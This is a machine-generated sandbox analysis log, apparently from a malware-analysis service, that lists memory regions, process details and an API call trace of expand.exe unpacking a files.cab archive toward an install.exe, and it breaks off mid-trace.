id = 2461 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2462 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2463 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2464 start_va = 0x200000 end_va = 0x29ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 2465 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2466 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2467 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2468 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2469 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2470 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2471 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 2472 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2473 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 2474 start_va = 0x2a0000 end_va = 0x3bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002a0000" filename = "" Region: id = 2475 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2476 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2477 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2478 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2479 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2480 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2481 start_va = 0x70000 end_va = 0xd6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2482 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2483 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2484 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2485 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2486 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2487 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2488 start_va = 0x420000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 2489 start_va = 0x560000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 2490 start_va = 0x610000 end_va = 0x64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 2491 start_va = 0x748a0000 end_va = 0x748c0fff monitored = 0 entry_point = 0x748a145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" (normalized: "c:\\windows\\syswow64\\ntmarta.dll") Region: id = 2492 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2493 start_va = 0x75b90000 end_va = 0x75bd4fff monitored = 0 entry_point = 0x75b911e1 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" (normalized: "c:\\windows\\syswow64\\wldap32.dll") Region: id = 2494 start_va = 0x30000 end_va = 0x35fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "icacls.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\ICacls.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\icacls.exe.mui") Thread: id = 163 os_tid = 0xd1c Thread: id = 164 os_tid = 0xd5c Process: id = "11" image_name = "expand.exe" filename = "c:\\windows\\syswow64\\expand.exe" page_root = "0x2dadc000" os_pid = "0xd58" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x38c" cmd_line = "\"C:\\Windows\\system32\\EXPAND.EXE\" -R files.cab -F:* files" cur_dir = "C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\msiserver" [0xe], "NT AUTHORITY\\Logon Session 00000000:0006cbe1" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 2496 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 2497 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 2498 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 2499 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 2500 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 2501 start_va = 0xd0000 end_va = 0x10ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000d0000" filename = "" Region: id = 2502 start_va = 0x220000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2503 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0xc06659 region_type = mapped_file name = "expand.exe" filename = "\\Windows\\SysWOW64\\expand.exe" (normalized: "c:\\windows\\syswow64\\expand.exe") Region: id = 2504 start_va = 0x76d20000 end_va = 0x76ec8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2505 start_va = 0x76f00000 end_va = 0x7707ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 2506 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 2507 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 2508 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 2509 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 2510 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 2511 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2512 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 2513 start_va = 0x260000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2514 start_va = 0x73690000 end_va = 0x736cefff monitored = 0 entry_point = 0x736be088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 2515 start_va = 0x73630000 end_va = 0x7368bfff monitored = 0 entry_point = 0x7366f9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 2516 start_va = 0x73620000 end_va = 0x73627fff monitored = 0 entry_point = 0x736220f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 2517 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2518 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2519 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 0 entry_point = 0x76b15340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2520 start_va = 0x76b00000 end_va = 0x76c1efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076b00000" filename = "" Region: id = 2521 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 0 entry_point = 0x76c3a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2522 start_va = 0x76c20000 end_va = 0x76d19fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c20000" filename = "" Region: id = 2523 start_va = 0x440000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2524 start_va = 0x752b0000 end_va = 0x753bffff monitored = 0 entry_point = 0x752c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 2525 start_va = 0x753c0000 end_va = 0x75406fff monitored = 0 entry_point = 0x753c74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 2526 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 2527 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 2528 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2529 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 2530 start_va = 0x110000 end_va = 0x176fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2531 start_va = 0x75410000 end_va = 0x754bbfff monitored = 0 entry_point = 0x7541a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 2532 start_va = 0x76860000 end_va = 0x7695ffff monitored = 0 entry_point = 0x7687b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 2533 start_va = 0x75220000 end_va = 0x752affff monitored = 0 entry_point = 0x75236343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 2534 start_va = 0x759c0000 end_va = 0x759c9fff monitored = 0 entry_point = 0x759c36a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 2535 start_va = 0x74d40000 end_va = 0x74ddcfff monitored = 0 entry_point = 0x74d73fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 2536 start_va = 0x76a60000 end_va = 0x76afffff monitored = 0 entry_point = 0x76a749e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 2537 start_va = 0x759a0000 end_va = 0x759b8fff monitored = 0 entry_point = 0x759a4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 2538 start_va = 0x76970000 end_va = 0x76a5ffff monitored = 0 entry_point = 0x76980569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 2539 start_va = 0x74a50000 end_va = 0x74aaffff monitored = 0 entry_point = 0x74a6a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 2540 start_va = 0x74a40000 end_va = 0x74a4bfff monitored = 0 entry_point = 0x74a410e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 2541 start_va = 0x749c0000 end_va = 0x749d4fff monitored = 0 entry_point = 0x749c11fa region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\SysWOW64\\cabinet.dll" (normalized: "c:\\windows\\syswow64\\cabinet.dll") Region: id = 2542 start_va = 0x70000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2543 start_va = 0x90000 end_va = 0xadfff monitored = 0 entry_point = 0xa158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2544 start_va = 0x6a0000 end_va = 0x827fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 2545 start_va = 0x90000 end_va = 0xadfff monitored = 0 entry_point = 0xa158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2546 start_va = 0x75550000 end_va = 0x755affff monitored = 0 entry_point = 0x7556158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2547 start_va = 0x74c40000 end_va = 0x74d0bfff monitored = 0 entry_point = 0x74c4168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2548 start_va = 0x830000 end_va = 0x9b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 2549 start_va = 0xc10000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c10000" filename = "" Region: id = 2550 start_va = 0x30000 end_va = 0x31fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "expand.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\expand.exe.mui" (normalized: "c:\\windows\\syswow64\\en-us\\expand.exe.mui") Region: id = 2551 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 2552 start_va = 0x80000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 2553 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 2554 start_va = 0x74970000 end_va = 0x749b1fff monitored = 0 entry_point = 0x749712b0 region_type = mapped_file name = "dpx.dll" filename = "\\Windows\\SysWOW64\\dpx.dll" (normalized: "c:\\windows\\syswow64\\dpx.dll") Region: id = 2555 start_va = 0x74930000 end_va = 0x74961fff monitored = 0 entry_point = 0x74950274 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\SysWOW64\\wdscore.dll" (normalized: "c:\\windows\\syswow64\\wdscore.dll") Region: id = 2556 start_va = 0x75130000 end_va = 0x751befff monitored = 0 entry_point = 0x75133fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2557 start_va = 0x75740000 end_va = 0x7589bfff monitored = 0 entry_point = 0x7578ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2558 start_va = 0x260000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2559 start_va = 0x3c0000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 2560 start_va = 0x71e30000 end_va = 0x71f1afff monitored = 0 entry_point = 0x71e313ce region_type = mapped_file name = "dbghelp.dll" filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll") Region: id = 2561 start_va = 0x260000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 2562 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 2563 start_va = 0x440000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 2564 start_va = 0x5a0000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 2565 start_va = 0xa0000 end_va = 0xa7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2566 start_va = 0xb0000 end_va = 0xb1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 2567 start_va = 0x2010000 end_va = 0x22defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2568 start_va = 0x180000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 2569 start_va = 0xa50000 end_va = 0xa8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2570 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Thread: id = 165 os_tid = 0xd78 [0157.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25f78c | out: lpSystemTimeAsFileTime=0x25f78c*(dwLowDateTime=0x80b04a90, dwHighDateTime=0x1d8a8f3)) [0157.745] GetCurrentProcessId () returned 0xd58 [0157.745] GetCurrentThreadId () returned 0xd78 [0157.745] GetTickCount () returned 0x187b236 [0157.745] QueryPerformanceCounter (in: lpPerformanceCount=0x25f784 | out: lpPerformanceCount=0x25f784*=2579676097717) returned 1 [0157.745] GetModuleHandleA (lpModuleName=0x0) returned 0xc00000 [0157.745] __set_app_type (_Type=0x1) [0157.745] __p__fmode () returned 0x754b31f4 [0157.745] __p__commode () returned 0x754b31fc [0157.746] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xc06ef9) returned 0x0 [0157.746] __getmainargs (in: _Argc=0xc0c358, _Argv=0xc0c360, _Env=0xc0c35c, _DoWildCard=1, _StartInfo=0xc0c36c | out: _Argc=0xc0c358, _Argv=0xc0c360, _Env=0xc0c35c) returned 0 [0157.749] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0157.749] SetThreadUILanguage (LangId=0x0) returned 0x409 [0157.749] _wsetlocale (category=1, locale=".OCP") returned="English_United States.437" [0157.751] _wsetlocale (category=3, locale=".OCP") returned="English_United States.437" [0157.753] _wsetlocale (category=4, locale=".OCP") returned="English_United States.437" [0157.754] _wsetlocale (category=5, locale=".OCP") returned="English_United States.437" [0157.759] GetConsoleOutputCP () returned 0x1b5 [0157.759] _wsetlocale (category=2, locale=".437") returned="English_United States.437" [0157.759] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc01284, cbMultiByte=-1, lpWideCharStr=0x25f3f4, cchWideChar=260 | out: lpWideCharStr="Expand.exe") returned 11 [0157.759] GetVersionExW (in: lpVersionInformation=0x25ee84*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x25ee84*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0157.759] LoadLibraryExW (lpLibFileName="Expand.exe", hFile=0x0, dwFlags=0x22) returned 0xc00000 [0157.759] LoadStringA (in: hInstance=0xc00000, uID=0xa, lpBuffer=0xc0c700, cchBufferMax=2048 | out: lpBuffer="Microsoft (R) File Expansion Utility Version %s\nCopyright (c) Microsoft Corporation. All rights reserved.\n\n") returned 0x6c [0157.760] CharToOemA (in: pSrc="Microsoft (R) File Expansion Utility Version %s\nCopyright (c) Microsoft Corporation. All rights reserved.\n\n", pDst=0xc0c700 | out: pDst="Microsoft (R) File Expansion Utility Version %s\nCopyright (c) Microsoft Corporation. All rights reserved.\n\n") returned 1 [0157.760] printf (_Format="Microsoft (R) File Expansion Utility Version %s\nCopyright (c) Microsoft Corporation. All rights reserved.\n\n") returned 120 [0157.789] GetFileAttributesA (lpFileName="files.cab" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab")) returned 0x2020 [0157.789] GetFileAttributesA (lpFileName="files" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files")) returned 0x2010 [0157.789] GetFileAttributesA (lpFileName="files" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files")) returned 0x2010 [0157.790] LocalAlloc (uFlags=0x40, uBytes=0x50) returned 0x5b20e8 [0157.791] FDICreate () returned 0x5c31e0 [0157.791] LocalAlloc (uFlags=0x0, uBytes=0x804) returned 0x5c31e0 [0157.791] GetFileAttributesA (lpFileName="files.cab" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab")) returned 0x2020 [0157.792] lstrlenA (lpString="files") returned 5 [0157.792] _lopen (lpPathName="files.cab" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files.cab"), iReadWrite=32) returned 0x7c [0157.792] FDIIsCabinet () returned 0x1 [0157.792] _hread (in: hFile=0x7c, lpBuffer=0x25f5a8, lBytes=36 | out: lpBuffer=0x25f5a8*) returned 36 [0157.793] _lclose (hFile=0x7c) returned 0x0 [0157.793] GetACP () returned 0x4e4 [0157.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x810d5, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0157.793] malloc (_Size=0x14) returned 0x82700 [0157.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x810d5, cbMultiByte=9, lpWideCharStr=0x82700, cchWideChar=9 | out: lpWideCharStr="files.cab\x08ኀ\x08䈠ܹ킊") returned 9 [0157.793] GetACP () returned 0x4e4 [0157.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x810e6, cbMultiByte=5, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 5 [0157.793] malloc (_Size=0xc) returned 0x8dba0 [0157.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x810e6, cbMultiByte=5, lpWideCharStr=0x8dba0, cchWideChar=5 | out: lpWideCharStr="files") returned 5 [0157.793] GetFileAttributesW (lpFileName="files" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\mw-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\files")) returned 0x2010 [0157.793] LoadLibraryA (lpLibFileName="dpx.dll") returned 0x74970000 [0157.986] GetProcAddress (hModule=0x74970000, lpProcName="DpxNewJob") returned 0x74973302 [0157.986] DpxNewJob () returned 0x0 [0158.730] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0158.731] malloc (_Size=0xc) returned 0x262438 [0158.731] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.exe", cchWideChar=11, lpMultiByteStr=0x262438, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="install.exeÿÿÿÿÿ¤?³`", lpUsedDefaultChar=0x0) returned 11 [0158.731] malloc (_Size=0x24) returned 